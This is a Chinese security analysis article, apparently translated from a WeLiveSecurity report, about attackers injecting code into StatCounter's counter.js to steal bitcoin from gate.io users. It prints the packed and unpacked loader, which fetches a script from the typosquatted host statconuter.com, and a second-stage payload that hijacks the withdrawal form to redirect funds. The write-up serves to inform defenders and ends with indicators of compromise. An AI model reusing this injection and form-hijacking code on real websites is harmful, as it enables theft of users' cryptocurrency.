写在前面的话
就在前不久,有一个网络犯罪组织成功入侵了StatCounter。StatCounter是一家业界领先的Web分析平台,很多Web管理员都会使用这个服务来收集自家站点的统计数据,它的功能跟Google Analytics有点像。因此,Web管理员通常会在自家站点的Web页面中添加外部的JavaScript标签,并引入StatCounter的js资源,比如说www.statcounter[.]com/counter/counter.js。因此,通过入侵StatCounter平台,攻击者将能够向所有使用了StatCounter的站点注入恶意JavaScript代码。
根据StatCounter的统计,目前该服务拥有超过200万的会员,并且每个月需要计算超过100亿次的页面访问量:
攻击分析
在攻击过程中,攻击者在www.statcounter[.]com/counter/counter.js脚本的中间位置添加了一小段恶意代码。一般来说,攻击者会在合法文件的开头或结尾处注入恶意代码,而在中间位置注入代码可以降低被检测到的机率。
eval(function(p,a, c, k, e, r) {
e = function(c) {
return c.toString(a)
};
if (!''.replace(/^/, String)) {
while (c--) r[e(c)] = k[c] || e(c);
k = [function(e) {
return r[e]
}];
e = function() {
return '\\w+'
};
c = 1
};
while (c--)
if (k[c]) p = p.replace(newRegExp('\\b' + e(c) + '\\b', 'g'), k[c]);
return p
}('3=""+2.4;5(3.6(\'7/8/9\')>-1){a0=2.b(\'d\');0.e=\'f://g.h.i/c.j\';0.k(\'l\',\'m\');2.n.o.p(0)}', 26, 26,'ga||document|myselfloc|location|if|indexOf|myaccount|withdraw|BTC|var|createElement||script|src|https|www|statconuter|com|php|setAttribute|async|true|documentElement|firstChild|appendChild'.split('|'),0, {}));
脚本文件使用了Dean Edward进行封装,它也是比较常见的一款JavaScript封装器。不过解封过程也比较简单,下面给出的是实际运行的脚本代码:
myselfloc= '' + document.location;
if(myselfloc.indexOf('myaccount/withdraw/BTC') > -1) {
var ga =document.createElement('script');
ga.src ='https://www.statconuter.com/c.php';
ga.setAttribute('async', 'true');
document.documentElement.firstChild.appendChild(ga);
}
这段代码首先会检测URL是否包含myaccount/withdraw/BTC。这样一来,攻击者的意图已经很明显了,他们想攻击的就是某个比特币平台。如果检测通过,脚本将会继续向Web页面中添加新的<script>元素以及相关代码(https://www.statconuter[.]com/c.php)。
请注意,攻击者注册的域名跟合法的StatCounter域名非常相似,他们只是更改了两个字母,这就很难被察觉了。有趣的是,通过检测目标域名的被动DNS,我们发现这个域名已经在2010年被BAN掉了。
正如之前介绍的,恶意脚本针对的是统一资源标识符(URI):myaccount/withdraw/BTC。原来,只有gate.io拥有包含这种URI的有效页面。因此,这种攻击很可能针对的就是gate.io。gete.io的用户量是什么情况呢?请看下图:
而且,根据coinmarketcap.com的统计数据,该平台每天的加密货币交易金额有好几百万美元,而光是比特币的交易金额就有160万美元。
如下图示,Web页面https://www.gate[.]io/myaccount/withdraw/BTC主要用来从一个gate.io账号向另一个外部比特币钱包地址进行比特币转账。
原来,statconuter[.]com/c.php中的恶意代码,也就是攻击第二阶段的Payload,主要功能就是窃取比特币。这也就说得通攻击者为什么要在gate.io的比特币交易页面中注入恶意脚本了。这个脚本同样使用了Dean Edwards封装,拆封后的版本如下:
document.forms[0]['addr'].value= '';
document.forms[0]['amount'].value= '';
doSubmit1= doSubmit;
doSubmit= function () {
var a = document.getElementById('withdraw_form');
if ($('#amount').val() > 10) {
document.forms[0]['addr']['name']= '';
var s = $("<inputtype='hidden' name='addr'/>");
s.attr('value','1JrFLmGVk1ho1UcMPq1WYirHptcCYr2jad');
var b = $('#withdraw_form');
b.append(s);
a.submit();
} else if(document.getElementById('canUse').innerText > 10) {
document.forms[0]['addr']['name']= '';
var s = $("<inputtype='hidden' name='addr'/>");
s.attr('value','1JrFLmGVk1ho1UcMPq1WYirHptcCYr2jad');
var b = $('#withdraw_form');
b.append(s);
document.forms[0]['amount']['name']= '';
var t = $("<inputtype='hidden' name='amount'/>");
t.attr('value',Math.min(document.getElementById('canUse').innerText,document.getElementById('dayLimit').innerText));
b.append(t);
a.submit();
} else {
doSubmit1();
}
};
在真正的gate.io页面中,原本有一个doSubmit函数,当用户点击了提交按钮之后便会调用这个函数,但是攻击者对这个函数进行了重定义。
恶意脚本会自动替换原本的目的钱包地址,比如说1JrFLmGVk1ho1UcMPq1WYirHptcCYr2jad。每当有用户加载了statconuter[.]com/c.php脚本之后,恶意服务器都会生成一个新的比特币钱包地址。因此,研究人员无法确定攻击者已经窃取了多少比特币。
实际上,用户一般很难察觉到这种类型的重定向,因为钱包地址的替换发生在用户点击提交按钮之后。
入侵威胁指标IoC
恶意URL:
statcounter[.]com/counter/counter.js
statconuter[.]com/c.php
* 参考来源:welivesecurity,FB小编Alpha_h4ck编译,转载请注明来自FreeBuf.COM